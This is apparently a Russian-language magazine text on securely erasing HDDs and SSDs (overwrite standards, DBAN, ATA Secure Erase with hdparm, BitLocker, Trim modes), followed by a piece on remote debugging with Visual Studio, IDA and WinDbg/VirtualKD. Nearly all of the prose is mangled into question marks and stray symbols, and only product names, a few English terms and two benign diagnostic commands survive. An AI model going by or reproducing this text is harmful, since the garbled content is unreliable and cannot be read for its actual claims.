???�?????�????�??�????�?�???��???�??�??�?????,�??????�??�?�???�
????� ?� ????�???� ?????�?.� ?????�?� ???�??� ??????�???� ?????� ??????�??
??� ???�??� ?� ???�???� ?� ?????�?� ????????� ?� ???�??� ???�?� ???????� ?� ???????�
????�?,� ???�?� ???????� ????�????�?� ?� ???????�?� (???,� ???� ??� ????�?,� ?????
????�???�?��??????�??��??????�??).
?�?????�??�?�???�??�??�????�????�????�??�?�??�???????�??�
???�?????�?�???????,�??????�??�??�??�(????????:
www.anandteth.com)
???�??�????�??�?????�????��??????�???�?????�?????,�??�?�??????
????�???�?� ?� ???????�??,� ???�???????�??� ???�???� ???????�?� ???�???�??
???�???�?????�??,��??�??�??,�?????�?????牜???????�??粻??????燬MR,
???�??�????�????��???�???.
?�??�????�??�?????�????�???�????�?????�??�??�???�??�?????
???�???,�??�?�????�??�????�(????????:爓ww.anandteth.com)
????�??,� ???�?� ?????�???� ????� ?????�????�??� ???�???????� ???� ???????�
???????,� ???�????�?� ??????�?????� ????� ??� ??????,� ?� ??????�??� ???�??????�
????�?????�??�??��???�?�?�???�??.
?????????�???????????????�??????????�?????????
??�??�??�???�???�???�?????�???�?�??�????�??�??�???�?�??�??�????�
???� ??????�??� ???�????� ???????�??,� ???�?????�?????� ??� ???????� (????�
???�???�??�???�??????�??????�??).�??�???�??????�??�???�???�?�???�
??????� ???????�??� ???�???�?� ???�???�?????� ??????,� ??� ???� ???�??,
??� ????�???�?????� ???�??� ???�????,� ?????�???� ??????�?????� ?� ????�???�
????�???�??�?.�????�???�??�??�????�??�?�??????�??�??�??.
???�??,� ???????,� ?� ??????� ?????�??�?,� ??� ?????�?� ?????�??�???�??�?
???�????�??�?� ????�????� DoD� 5220.22?M.� ????�???�??� ???�???�??� ?� ????�
??????�??� ???�???�??,� ???????� ???�????�???� ????� ????�???,� ???�???�?
??� ???�??� (???�???�??�??� ??� 2006� ????)� ???� ???????.� ???�???�???�?,
?�95???�?�06??牜????�??粻????�???�???�??????�??????�??�??�????
??????�?????� ?????� ??????�???� ???�??.� ????�???� ???�?????�??� ????�????�
???� ??????�???� ???�?.� ???�??� ???�????� ?????�?????� ??????� ??????� ????�
????,�????��??燲OR????�??�??�?�,�??????,��??�?????�??�???��???�
???�??�??�?????�???�??�?.�??�????,�??:
01010101��101010��011010*
*�????????�?????
?� ???�?????� ???�?� ????�???� ????� ????�???� ??� ??????�???�??� ???� ???????
??????�?�??????�?�???�???�?�??�??�?????�??�????�???�?,�??�??????�
????,� �� ???�???� ????�???� ????�?�.� ????�?� ???� ????�??????� ?????�?????
???????�??� ????� ????�???� ??� ???� ???� ???�???�???� ?� ???�?????� ?????????�
????�??�??????�???�??.
??�??�???� ???????� ????�???�?� ?????�?????� ???????�??� ???� ??????
???�???� DSX� ????�???�??� ???�????�?.� ???�???� ??????�???�???� ???�??
??????,�????��??�???�?,�??�?�???�?????�???�?�???�??�?????�????�
?????� ???�??,� ?� ???????� ??????�???�?� ???????�??� ?� ???�??� ???�???,� ????
?�??�???�???�??????�??�??.�??�?????�??????�??�??�??�?�???�????�
????�???�?��?????�??.
???�??�?�??:
00000000��111111��110101*
*�???????????????�???????????�?????????????????
??�????� ????�??� ????�???�?� ????�?????� ???????�??� ?????�???� ????�
???????��??????�???�????�??�???�???�?.�???�????�??�?�???�???
????�???�?� ??� ?????�???� ???�????�?� ????� ???,� ???� ?????�?� ???�????
??????�???�?� ??� ???�??�??????�??� ???�?????�???�????� ???�??,� ?� ?????�
?????�??�??.��?????�??�??????�???�???�???,�?????�?????�?????�??
???�??�??�????�??�?????�???,�??�?????�?�??�???�??�????�??�?????
?� ????�????� ?� ????�??�???,� ???????� ??????�???� ???�??�??????�??� ????�
??????�???�????�??�??.�?�????�?????�(?�??�?�??�??�??��????�?????�
???)� ????� ????�?� ????� ????�??�???� ???�??�??,� ???????� ???�??�?� ????
??????????� ???�?????� ?????� ????�??� ??????,� ??� ??� ??????� ???�??????� ?????�
???�?��93�???��???�???�??�??�???�???�?爄486,�??????�??�?�???�
?????�????�?�?66�???
???�??�?�??:
00000000��111111��110101*
*�??????????????�?????
?� ???�????� ???� ????�??????� ?????�?????� ???�??� ???�??� ???�???�?� ???�??
???�??.� ????�???� BSI� Verschlusssachen?IT?Richtlinien� (VSITR)� ???�???�?
??????�?????� ??� ????� ??� ???�?� ???�????� (?� ??????�??�?� ??� ????�?????�??
???????�??),� ??????�?????� ?????�??�?� ????�????�??�??� ???�?????�????�
?????��?燲OR????�??�???.�??�?????�??�????�?????�???�?�??�??????�
????�????�010101.
???�??�?�??:
01101101*��010010**��010101
*�??????????????�?????????????????�**燲OR???????????�??????????????�?????????????????�
??�????,� ?� ?????�??� ???�????�???� ????�??� ???�????� ????�???� ??????� ????�
????,� ????�????�???� ??????�???� ?� 35� ???�????.� ????�??????�??
?�96�???�???�???�??�???�??�?�????�????�??�???�?????�??�???�?
????�??�???� ???�????�?� ?� 5%� ?� ???� ??� ??????� ???�??????� ???�????� ???�?
????�????�????�??�???�??.�??�?�????��???�???�???�??�????�???�?
???�???� ???�???�????� ???� ????�??????� ???????�??.� ???�????�?� ??� ???
??????�??????� ????�??�?� ?� ?????�????� ???�???�?????� ????� ????�???�??
??????�???�??????�??�?�?????�?�??�??�??�???�???�??�??�???�???�
??�????�?�?????�??.
??�??� ????�???� ??????�??????� ???� ???�????�??� (??� ????�?� 10?15� ???)
???�???� ???�??� ????????�??� ??????�???� ????�????�??�??� ???�?????�????�
??????�????�??�??�????�?�??�????�???�???�??????�??????�??.�??,
???� ????�???� ?????� ???�?,� ???�??�?� ????� ????�????� ????�?????� ????????,
??�????�?�????�???�???�??????�??????�?�??�??�??�????�??????�??.
??????????�??�??????????�???????�?????�
?????????�????????
???� ??� ????�???,� ???� ???????�???� ???�????� ???�??� ?� ???�??�?� ???�?
????????�?� ??????�?????� ???� ?????�????� ???�??�??� ???�?????�???�?????
?????,� ??� ???�?� ?� ???�???�?????�?� ?????� ??� ?????�??�???� ????�??�??
??�???�??????�??�??.�??�?�??�?�??�??�???�??�?????�????�?�???�
??????�??�??.�???�????�???�???�???�???�????�????�???�???��??�???
???�???�???� ???�???�??,� ????� ???�???�?� ????�?� Secure� Erase� ???� ?????�?
??????�??�????�?????�??�????�???�?.
??�???� ????� ??????�??�?????� ????�????� DBAN.� ???�???�??� ??????�?
?????�?????�?� ?� ??????� ???�????� (????�????� ???�??????�???�?� ?� ?????�??
???�????�???� ????�?,� ???�??� ?� ???????�?????�????�???� ????�?,� ???????
???� ?????�?� ????�????� ????� ?????� ???�???)� ?� ???�????�???� ????�???�??
????�?????�???�??????�??�??.�????�??�???????�??�??�???�?�??�????�
??� ??� ????�?� ???� ????�????� ????�?� ????�?� ??,� ???� ???�???,� ??� ?� ???
???� ??????�??� ????�????�??�??� ???�?????�???�??�?� ??????�????� ???�????�
???�?????�??�??�??�??�???.
Darik?s燘oot燼nd燦uke�(BDAN)
???�??�????�??�???�??��??�???�??,�?�???�?????�??�??�???�??� CBL
Data� Shredder.� ???�???�??� ???�?????�?� ???�?????�???� ?� ???????� ???�???�
???�????� ???�??� ?� ???�????�???� ????�???�??� ?????�??�???� ????�?????
????�??????� ???????�??.� CBL� ???�?� ???�???�?� ???�???� ???�????�??� ?????�
??,�??�?????�??????�??�?�??�?????�???�???�???.
???�???燙BL�??�???�??????�??�??
??????????? ??????
?
? �?????�?????
???????????
???????? ?????
???�?????????�?????�?????
?�???????????
?????��?????????�??????????
????�?�??????�??�??�?�??�???�??�??,�??�???�?�???�??�?.�??�??�?,
???� ???�???� ???� ??� ???????�??� ????�?� ???� ???�????�?� ???�?� ?????�????:
???�???�?� ???�?????� ??????�?????� ????� ???�?� ???????�??,� ???� ?????
??????�??�??�???�?????.�???�?�??????�????�??�?,��?????�?�??�?:
???�??�???�??�?��??�?????�?�?�???�??�??�???�?.�???�?????�????�
???�???� ???�??????� ?????�??�?� ???�???�?,� ?????� ???�??????�??�??� ?
Opal�爀Drive.�??�??�???�??�???�????�?,�??�??�???�????�??�??????
???� ???�??� ??� ?????� ???�???� ???�?� ?????� ????�???�??�?� ?????�?????
???�?????��??�????�???�??�??�??.
???� ??� ???�??� ????�???�?� ???�??� ???�??�????� ?????� ???�??,� ?� ????�?
????�??�??� ?� ???�??�???�??� ????�??????� ???�??.� ?????�???�?� ???� ?????
????�??�???�????�?燗TA燬ecure燛rase,�??????�??�?�????�???��??????
????�??�???� ???�???� hdparm.� ???� ???�?????� ??????�????,� ??????�?????
????�??�??� ???�??????,� ?????�?� Secure� Erase� ????�??�?� ????�????� ????
???�??????,� ???� ???� ???�????�???� ???????�??� ??� ???�?� ???????�??� ????�
???�???�?.�??�?????�??????�??�??�???�???�??�??????��??�??�???�
???�?�8�??�??�????�???�??�??�????�????�????�????�????.
????�?,�?????�?????爃dparm�??�?��?�???�??,�??????�????�??�???�
???.�???�?,�??�?�?????�????�?�????�???�???�???�?�?�???�??�?????�
??????�?????�???�????�?????�??�?��???�?�?????,�??�???�?�?????�
??????�?????�???�??��????�??.
????�??,� hdparm� ??� ???????.� ????�??�??� ???�??????� ??????�???�?
?�???????��??�???�??�??,�???�????�??�??�??�?????��??�???�??�??
????�???� (???�?????�?,� ???�????�??� ?� ????????� ???�???�?).� ????� ????� ??
????�?????� ?????� ???�???� ????� ?� ????� ?????�??� ?????�???� ?� ????�???
????�??�??�??�??????,�???�???�??????,�??�????�?燬ecure燛rase�?�???�
????�?� ???� ????� ?????� ???�??�?????� BIOS.� ?� ?????�??� ????�???� ???????�
??????� ???�?� ????�??�??� ???�??????� ???� ???�??�??� ??� ???�???� ???�????�
?????�??�???��?�????�??�??��?????�?�????�????�??�??????.
??�????,� ???�?� ???�?????,� ???� ?????�??�?� ?????� ?????� ???�???� ???�??,
???????� ???�????�???� ?� ???� ????�???�??�??� ???�?????�?� ???�?� ???????�
????.�????�??????�??,�??????�??????�?�????�???,�????�???�???�???�
??� ?????�?????� ????�????�????�??� ???�??.� ????� ????�???????� ??� ?????�
?????�?????,�?�???�????�????�??�???�?�????�????�????��??�??�??
?????�??�????�??�?�??�?�??�????�????�?????�???.
????�??�?????�??�??�?�??�?��???�??�??�??�?????�?,�???
??????�?�????�(????????:爄bm.com)
??�?�?�???�???????�???�????�?????�?�???,�?�??�??�????�????�??�?
(????�?� ???�??????� ?� ????�????,� ??� ??� ???� ???� ?????�????� ?� ??� ????� ????�
???�????� ???�??�?� ?????� ???� ????� ??� ?????�??� ???�?)� ????�????�????�??
????�????�????�????�??????��??�??��??�??�????�????�????�?�??
???,�???�?�?�??�???�??�???�??�?????.
????�??�?????�??�??�?�??�?��???�??�??�??�?????�?��???�??�
??????�??????�(????????:爄bm.com)
???�?�???????�?,�??�???�??????�???�????�????�???�??�?�???�?�??�??
?� ???�??� ?????�?????.� ??,� ??� ???�???� ???�???� ???????�??� ?� ???�?,
??�??�????�???�?�????�???�?.�?�????�??�??�????�?燗TA燬ecure燛rase
?�??�??�??�???�???�???�?�???�?�???�????�????�??�???��???�????
??????�?�???????�??�??.
??�??� ???�?� ??????�???�?� ????�????�?� ??� ????� ???�????�??� ?� ????????
???�???�?.�??�??�?,�??�????�??�??????�????�?�??????�?�???�?�??
???�????�??�??�???.�??�???��??�??�??�???�????�??�??�????�??�???�
???��??????�??�??�??????�??�????�????�??�?,�??�????�???�??�??
????�??.
?????�???????�???????�?????
???�???�?????� ????� ???�??� ?� ???�????� hdparm� ???�???,� ???�?� ????� ????�
?????�??� ????�??�??� ???�??????,� ???� ??????� ??� ????� ???� ????�??� ????�
????????�???�?????�????.��????�??�???�???�??�???��????�??�??�?
????�?????�??????�??��????�????�??�??�????,�??�??????�??�????�?
????????�???�????�????�??�???.
???,� ????� ????� ???�??� ???�??�?� ??� ?????�????�??� ???�???� BitLocker,� ??
???�?�????�???�???�???�??????�??�????�?�??�?�???�??????�???�???
???�??� �??�???粻 ???�?????�???�?.� ?????�?� format� ?� Windows� ???�??�??
???�????�?�???燘itLocker�??��??�??�??�????�???�???�?,�??���????�
????�燝UI.�??�??�?????�????�????燘itLocker,�???牜???�???�,�???�????�
????�???�????�????�??�???,�??�???�?�???�?????�??�??��??????�??
?????�?????.
??????????? BitLocker
???�??�?�?,�??�????�????�??�??????�?�??�????�????�??�??�???
BitLocker� ??� ???�????� ?� ???�?????�?� ???�???� ????� ??� ?????�???� ????�
???????� ??� ???�???,� ???????� ???� ???????� BitLocker,� Windows� ???�?� ????
???�????� ????�????�????�??� ????� ???� ???�???� ?� ???�??� ?� ?????�??� ????� (?
??��????�????�??�??????�??�??�???�?�?????燭PM).�????�??�????
??????� ?????� ???�???� ?� ?????�??� ????,� ??� ?????�??�???� ???�??� ?????� ????�
??????� ???� ????� ?� ????�?� ?????� ????�???�??�?� ???�????�???� ???� ??????
?????�???� ????�????�????�???� ???�?.� ????� ??� ???�?� ????�???� ???�??????
???�?� ???�???,� ??� ????�????�????�??� ????� ?????� ?????�????� ?????�????,
?� ???�??,� ?????� ???????�??� ?� ???????�????�??� ????,� ?????� ???�????�?
?????�?????��??????�?????.
??� ?� ?????� ??� ????�???� ???� ??????.� ????� ????� ????� ???�??????� ??� ????
BitLocker� ?????� ????�????� ?� ???�??� ?????�?,� ??????� ?� ???�??� ???�?� ?????
???�???�??�????.�?�??�???�?�?????�?????�?�??�?:�??�???�???�???�
???�???�????�??�??????�??�?????燘itLocker燚evice燩rotection�???�???�
???�??�????�??�???�???�???�??�?�?�??�???�???��???�?燨neDrive.�????
????�??,�???�???�??????�??�?�??�??????�?�??????.
??�???�????� BitLocker?� ???�?� ?� ????�??� ??????� Microsoft� ?� ???�???,� ???
??�??�??�??�??�??�??�??????.
?????????????�?????????
???�??�???�?� ???�???� ???�??� ?� ????�?????�???� ??????�???� SSD� ?� ???�?,
?� ????�??,� ???� ?� ???�????�?� ???�??�?� ???�?.� ?????� ???�????�?,� ???� ????�
????�??�???�?燬SD???????�???�??�??�????�??�??.
??� ?????�???� ???�??� ?� ???,� ???� ???�????�?� ??????,� ??????�???????
?燬SD???????�????,�??�???�?�??�??�??�???�??????�??,�?�????�??�??
????????� ???�??� ?� ???�??� ????� ?� ???�??� ???�????� ????????� ???????�??
?� ???????,� ???????� ???�???� ???�???.� ???� ???�??� ????�???�?� ????�?� ????�
??????�???�???燬SD???????�????.�??�???�??�?�???????��???�?�??�??,
???�???�??� ??????�???� ???�??� ?????� ????�?� ????�???� (???�???)� ???�??
?�???�???�?,��???�?�??�?�??�?�??�??�??�?????�??�????�?????.�???�
????�?� ???�???� ???�????�????� ????�?� ?????� ?� ?????� ?????�???,� ???�????�
????�?� ???�?????�?� ???� ????�??�??,� ???�???�?� ???????� ?� ???�?????�??
???�???�???�???�?�???�??�????�??�??????�??�??�??�??�?.
?� ???� ???�???�??,� ????� ???�???�????� ???�???� ???????� ????????� ???�??
?�???�?��???�????�??�???�??,�?�?�??�?�???�?�??�??�??�?�???????
???�???� ?� ????� ???�??� ???�???�??� SSD� ?????�??� ?????�???�??� ???�???
????�??:�??�??�????�????�??�????�??�??,�??�??�???�?,��??????�???
???????�??�??�????�??�??�?�????��???�???�???�??�??�??�???�???
???????�???�??.
????�??�?????牜????�???�?????粻?燭rim
???�???�??�?????�??????�?�???�?????�???�?�????�?�???�?�??�??,
???�?�??�????�???�???.�??�??�??�??�??�?�?�??�????�??�???�???,
?� ?� ????????� ??????� ???�???�???� ???�????�?� ???�?????� ????� ???� ??� ?????�
????�??�?� ????�????�??� �????�??粻 ???????.� ???� ????�???� ???�???�???�?
????�?� ???� ??????� ???????�?� Trim,� ??????�??�?� ???�??�??� ?� ???�????�
?????� ???�????.� ????� ????�???????� ???�???� ????????� ????,� ???�?????�?
????� ???� ???�???� ?????� ???�??,� ???�???� ??????�?� ???�???�???� SSD
???????�??��??,�??�???�????�??�???�?�?�????�??�????�??�??�??
?�????�???�??�???.
??�???� ???�????:� ?� ??????�???� ??????� Trim� ????� ???�???�????� ???�???
??�?????�???�???�??�??�?��?�??�???�??????�??.�??�???�???�??�?
????� ??????�???� ???�??� ????�??� ???�?,� ???????� ??� ?????�??� ?????�??
???????�??.� ?� ???�?� ?????�?� ???�???�??� ?????� ??????� ???????� ???�???
???�????�??�??�?�??�?.
???� ???�???�??,� ????� ??� SSD????�?� ?????�????� ????�??� ???�?
???????�??,��??�???�???�??�?????�????�?燭rim�?�??�????�????�???�
???� ????�?????� ?????� ??� ???????� ??� ???�????� ????�?????�?� ???� ???�????�
?????�??�???:�???�??�?�??�???�???�??�??�???�??�????�??�??�?.��??
???�??�?,� ????� ????�???????� (???� ???�???�?????)� ??????�???� ???�???� ????�
???� ??� ???�?,� ??� ???????� ???� ???�?????� ?????�?� Trim,� ??� ???????� ???� ??
????�??????�?�??�????
?????�?????�???�????�???�??�??.�??�????�??燬SD�???�???�?�??
???�?????�?:
1.燦on?deterministic燭rim:�???�??????�??�??�?????.�??�???�??�????�???�
????� ???�????�??� ???�??,� ????� ???� ??????� ???,� ???�??� ??????�??� ?????
???�?????�?�??�?�????�???�(SATA燱ord�9燽it�.
2.燚eterministic� Trim� (DRAT):� ???�???�??� ?????�??????�?� ???�??�???� ????
?�?�?�??�????�(????�??�?,�?�?�??�?????�?�???)�??�???�??�?�???�
??�????�?燭rim�(SATA燱ord�燽it�).
3.燚eterministic� Read� Zero� after� Trim� (DZAT):� ?????�??????�??� ???�??�????
?????�??�?燭rim�(SATA燱ord�燽it�.
??�???????,� ?� ??????� ????� ????�??�?� ????� SSD,� ???�?� ???� ??????� ???� ???
??�????�?爃dparm:
$爏udo爃dparm�I�/dev/sda爘爂rep�i爐rim
牋�*燚ata燬et燤anagement燭RIM爏upported�(limit�lock)
牋�*燚eterministic爎ead燿ata燼fter燭RIM
SSD� ???�???� ????� ?� ???�?????� ???�?� ????�????�?� ??� ?????�???�?� (????
??�??�??�????�??�?????�???�???�???�?�?????�???�???�????爀MMC).
???�??�???,�??�???�???�?????�??????�??�???�???�?�???�???�?�??�?
???�???� ????,� ?� SSD� ?� ???�??�???� DZAT� ????�????�???� ???� ??????�??????
?�??�???�??�????�????�??�????.
?�???�????�??�??�?�??�??�??�???�???�???�?�???:�??�?�??�?�???�
?????� ???�??� (????� ?????�???,� ????� ???�?????�???�?,� ????� ???????�?????
???�????)�??????�??�??�??�????�?????�??�??�??�??��????�??�?,�??
?�?�??�????�??�???�?.
??�?????�?,�??�???�??�??,�????�???�???�??�??�??,��???�?�???.
??????�??,�??�??�?�?,�??�?�??�?�??�???�??�??�??�??�??�??�???
Trim?�???��??,�??燭rim�??�????�???�?�?�???�?�??�???�????�??�???
???????� ?� Windows� 7� ?� ????�?� ???� ???�??????� ????� ????�??.� ????� ????�??!
??????�??,�???�??�??�???�??�??�??�??�????�(SATA,燦VME)?�??�?????�
?????�?� ????�???�??� ????�??� (USB)� ??????�????� Trim� ??� ???�????�???�?
(????�?� ?????�????).� ??????�??,� Windows� ???�????�???� Trim� ????�?
???� ?????� NTFS.� ???????,� Trim� ???�??� ???�????�???� ???� ????�???,� ???
?� BIOS� ?????�??�?.� ???�?????� ???????�????�????� Trim� ?� Windows� ???�?
?????�??
$爁sutil燽ehavior爍uery燚isableDeleteNotify
??�???�??:
? 0�燭rim�???�??��?????�?�??�??�???
? 1�燭rim�???�????.
??�???�??�????:�??燯SB???????�????�(????�??燬SD)燭rim��???�??�????�
????????� ??� ?????� ????�??,� ????� ?� ?????� ???�????�???�?� ??� ????�?� ??????�
????�?��?????�???�??�???�???.
???�???�?????.�?,�???�?????�??�???�??????�???�?�?????�?????�
?????:�???�?燬SD???????�???�???�???�??????,�?�??�???�??�????�???�
???�???� ????�?????� ???�??� ???�?� Trim� ??????�???� ??� ??� ????.� ????�?� ????�
?????�?�??????�?�?????�???�???�?????,��??�?????�??�????�?�????�
??�??�??��??�??�?�??�???.�?,��????�???�???�????�???�?????�?????�
???� ????,� ???�??�??� ?� ???????�??� ????�????�???� ???�?� ?????� ????�????�
?????�??�??��????�???��??????�??�???�????�??�??�??.�??�?�????
??????�????�???�???�???????�??�?.
???� ???�????� ???� ?� ???�????�?� ???�??.� ?????�??� ?????� ???????� ???????�
????� (?� ??????�??� ???????� ?� ??� 10%)� ????�??�?� ???� ?????�???� ????�????�
????�??.��?????�???�?��???�???�??�??�??�???�??�?�???�???�????
???�????�?????� ???�??�?????� ?????�????� ?� ???�??� ?� ???�??�??
???�?????�?�?????�?�???�?��??�??�????�??????�?�???�???�?�?�???�
??�???�??�?�????�????�???�??.
??�??�???�??,�???�???��??�???�?�??�??�燬SD�??�????�??�?????
????�??.
1.�?� ??????� ????�??�?� ???�???� ???�??� ??� ?????�???�?� SSD???????�???,
????�?� ???????�???�??� ???�??� (??????�??� NTFS� ?� ?????�??� ?????� ????�
?????� ???�???).� Trim� ???????� ???�?� ???� ????�???�?????,� ?� ???�???�??
???�????�?�??�??�??????�??�?�???�??�?.
2.�?�?� ???� ????�?� ???�???�?,� ??� ??????�?� ?????�???�????�?� ???�???�?
???�???�?�?�??????�??�????�????�????.�????�???,�???�??�????�
??????� ???�??�??� ????� ?� ???�???� ?????�??�?� ???� ???�????�???�??�???
????�?,�??�???�??燬SD�??�??�??�??????�?�???????�???�?.
3.�?�?� ??� ??� SSD� ?????�??� ???�????�?,� ??� ???????�??� ?� ????�??� ???�??
????�??� ???�???.� ?????� ????,� ????� ????� ???�???� ????�??,� ????????� ??,
?????�??,� ?� ????�???�???� ?????�???� ????� ?????� ??????�?� ????�?,
?�??????�????�????牜???�??�??粻???�??.
???� ???�?????� ?� ?????�?� ????�?????� ?????�????� SSD???????�????
?�?????�??,�??�?�???,��??�??�??�??�???.�??�?????�???�???�?????�
?????� SSD� ???�?� ???� ??????� ???� ???�????� ?????�?� ATA� Secure� Erase,
???????�??�?�?????�????爃dparm.��??牜?????�?粻?�??,�???�???�???
????�??�?�?�??�???�??�????�????燬ecure燛rase�??�????�?????�??�????�
????.�???�???�?????�???,�??��?????�??�??�???燬ecure燛rase�?�??�????�
???� ???�??� ????�??� ???�?� ??� ?????�??�?� ????� (?????� ????�??�??� ???�??
?� ???�??�?).� ?????� ????�??,� ?????�??� ????� ?????�?????�?� ??????�??????
????�????�??�???:� ????� ???�???�?� ????�????�????�??� ????,� ???�????�???
???????� ?????�?????� ?????� ????�????�?� ?????�????.� ??� ?� ?????� ????� ????
??:� ?� ??????�????�??� ???�??� ??� ???� ??????�?.� ????�???�??,� ??????�???
?�??�?????�??????�???,��??�?�?�???�???�???�??�????�???�??燬SD,
???�?�??????�???�???�??????�?????�?.
??????????
???�??�???�?� ???�???� ???????�??� ???�????,� ?� ???�???� ???� ???�??� ?
???�???�??.��???�??�?????�??�???�???�??�??????�??�??�???�???�
????�??�?�???�???�??????��??�?????,�?��??�??�燬SD�???�????�?
????� ?????� ???????�?.� ????�???,� ???� ???� ??????� ???????� ????� ???�?� ?????�
????�??�???�????�???�??????�??????�??.
?????
Nik燴erof
xtahi0nix@gmail.com
?????????
????????? ???????
???????�?????????????�??�?????
?�????��???????
??�???�??????� ?� ???????� ????�???,� ???????�??� ????�?
???�???�?,� ?????� ???�??????,� ???�?� ??� ??????� ???�?????
????,� ????�??� ???� ??� ??????�??�?� ?????�??� ???�???�??
?� ??� ??????� ????????� ????????� ??????.� ?????�??�?� ????�
????�?� ???�??�??�??,� ???????� ???�???�?� ???� ???�???.� ????�
???�??�?��??�???�???�????�???�??�????,�??�??�????
???�?????,�?????�??�???�?��??��???�???�???�?.
?????????��????????�??????????�?????
???�?�?????�???�????�????�?,�???�?????�???�?????�???�??�????�??
???�?.� ??????� ????�?????�?� VirtualBox,� ??� ??� ?????� ??????�?????� VMware
Workstation,� ??????� ???� VirtualBox� ?� ??????�???� ???�??�??�???� ???�??�??
???????� ???�??� ???�???�?� ????� ?� ???�???� ?????�?????�??� ???�???�?.
?燰Mware�????�???�??�??.��????�??�??????�??�???�????�??�???�?
?????�?????�?????燱indows�爔64燣TSB.�??�??????�?�??????�???�?�???�
??� ??� ???�???� ?????� ???�?� ???� ????�??� ?????�????� ???�??� ?� ???�????� ??
??� ???�????.� ???�?� ???�???� ???�???� ???� ???�?????�????� BIOS,� ?� ??� UEFI.
???�???�???�??�??�????�??�?��?????�???�???�??�???�??�????�???,
???????�?�????�?????�?????.
???�???�?�??�????�??�?????
INFO
??� ???�?� ???????� ??� ?????�??�?� ?????�??
??????�?� ???�???�?� ???�???�???�??� ?� ???�??
???�????�??�?????�??�???�??:�???�??�?????�
???� ??????,� ???�??????,� ???�???.� ???� ???�???�
????�?????�?????�??�?�??�??????�????.
?????????�??????�燤ICROSOFT燰ISUAL燬TUDIO
??�????�??營DE燤icrosoft燰isual燬tudio�??�?�??�????�???�????�??�??�???�
???� ???????.� ???�?� ???� ???�???�?????�?,� ????� ??????�??�?� ???�????�??
??????,��??�????�??????燰isual燬tudio燫emote燭ools.�???�?�??�????:�?
???�??� ???�?????� ?� ???� ???�??� Visual� Studio,� ??� ???????� ??� ??????� ???�???�
????�?.
???�?��??????�??�????�???�????�?????�??�?�??�???�??????,�???�
??� ???�??� ???� ??� ???�???� ????�??� ???�??� ????�?????�?.� ???� ???�?� ???�?
?� �??�??� ?� ???????�?�,� ??????� ?????� �??� ?????�?????�??粻 ?� ????�?
???�???牜???�?????�??????�?????�???�?????�?�.
???�???�?燰isual燬tudio燫emote燭ools
???�??� ???????,� ???�??�?� ?� ???�???� ????� 4022� ??� ????�??� ???�??�????
???????�?.
??�????��?????�??�??�??�???????燤icrosoft
??�???� ??????�??� ?� Visual� Studio� ???� ???�???�?� ???�???� ???� ???�??�??
???????.�??�?????�??�??�?�??????�???�???�??�???��????�?�?�?????�
??牜???????�.��???�?牜???�??�??�????�?粻???�?�?????�???�?�???�????�
???�?�??�?,��??�???牜???????�??????粻?牜???????�??�????�????粻???�???
???????��???�???�???�??�??.�??�?�???�?????�?????�??�??�??�???
???�???� (???� ???�?� ?????� ?� ????� ???�???� ???????� ?� ???�????�??� ??????)
?� ???�???� ???� ???�??�????� �??� ?????�?????�??�.� ??????� ???????� ?� �???�
??????� ???�?????�??粻 ?� ???�??� ???�???� ?� ????�??� �??�????�????粻 ????�
?????�?????�??�???.
??�???� ???� ??????� ?� ???�??�??� ???????,� ???????� ???�?� ??????,� ???�??
?�???牜???????粻?????牜??????�??????粻????�????燜5.燰isual燬tudio,�???�?,
???�???�?� ???�????�???�?� ?� ???�??�???� ???�??�?� ?� ???�????�??� ??????.
???�??�?�??�?�??�???��???牜???????粻�??�????�???�?��??�??�?粻?�
??????�????�???��??�??�??�??�??��??�???.
???�???�?燰isual燬tudio燫emote燭ools
???!燰isual燬tudio�??�?????�?????��??�??�??�??????.
?????????�??????�營DA燬TARTER
?� ??????�???� ???�???� ???????�??� ?� ????�?� ???�??� ?????�??�???� IDA� Pro
????� ???�??????�???�?� ???�???�?� ???� ???�??�?� ??????�??????.� ??????�???,
????�???��??�??�??�??�??�??�??營DA燬tarter.�???????�??�???�??�?�???�
???�??�?��??�????�??�??�??,�?,�?????�??�?,�?�??�?�??�??�?�????�
??????�??�???�??.�??�??�?�??�????�?,�??�??�??�??�??�??�??�??�??
???????.
????,� ?� ???�????� ???�?� IDA� ??� ???�???� ???????� dbgsrv,� ????�?� ??????�?
????�??�???�?�??�????�??�??�??�?��???�??�???�??�??�???.�???�?
??????�??�?� ????�?????� 64????�?????� ???�???�??,� ??� ??� ???�????� ??
????�?????�????�???�???� win64_remote64.exe,�???�???????�?�??�????�
???�??��??�????�??�?????.�??�?�????�?�?�???�??�??營P�???�??�???
???�???��???,�????�??????�??�???�??�??????.�???�???�?????�?????�
????� ????� ???�??� ?� ???�????????� ????�???�??,� ????�?� ??????� ????????� ?P
?�?????�??�????�?�??�???�??????.
??�???� ??????�??� ??� ????????� ??????,� ???�?� ???�??�??� ???�??�??
???????��????營DA.
???�??營DA�?�??????�?????
???� ???�???�?� ???????�?� ?� IDA� ?????�??� ????� Debugger� ?� Select� debugger
???�??燜9.�?????��???�?�??�?????�??????�??�??????燫emote燱indows
Debugger.� ??????�?� ????,� ???�??�????�???� ?� ???�??� ??????,� ????�??
???????�???�?,�???�?????�??�?.�?)
??�???� ??????�?� ????� ???�???�?� ???�??�???� ???????�?,� ???� ???�???
??????� ????� ?� ????�???�??�?� ???�?� ?� ???????� ???�?,� ?� ???�?� IP� ?� ????� ????�
????� ???????� ??� ???�??�??� ??????.� ???� ???� ???????�??� ???�?� ????????
?�??�????�??�?????,�??????�?�??�??�??�??.
???�???�?�??????�??�??�??�????�??�??�???�??????�?營DA
???�?�??�?�???�??�??�?????�?牜??粻?��??�??�??�???????營DA�????
?�?????�(????�??�???�??�??�????�??).
???�??�??�???????營DA��?????
?????????燱INDBG/VIRTUALKD
???�?� ????�???� ???�??�??� ???????� ?� WinDbg,� ???� ???�??� ???�????�??� ????�
???�????????�???�?�燰irtualKD.�?�??�?????�?�???�???�??�??�?燱inDbg
?�??�????�??�?????��???�???�???�?�?????�??�??�???�?�??????�???�
????�???.�??�?燰irtualKD�??????,��???????�?�??�??�??�??�??燱inDbg
?��??�??�??�???�??�???�?�???�??�???�??�??�??�????.
???�?�??�????�?�???�?�燰irtualKD��??�??�????�??�?�?????�?�??�?
???� ???�???�?� target.� ??� ????�?????� ???�???�???� ??� ???????� ??,� ???�?
???�?�????�???�???爒minstall.exe.�??�???????�???�??�??�??�????�??
VirtualKD�?�??????�?,�?�?????�?�???�??????�??�?��??�??�????�?
???�?????��?????�??????.��??�???�?????�???�???�??�????燬et燰irtu?
alKD燽oot爀ntry燼s燿efault�燫eplace爇dcom.dll,�??�?�??�?�?????�???�?營nstall.
???�?� ???� ???�????�?� ?????� ???�??�??,� ????�?????� ???????� ????� kd?
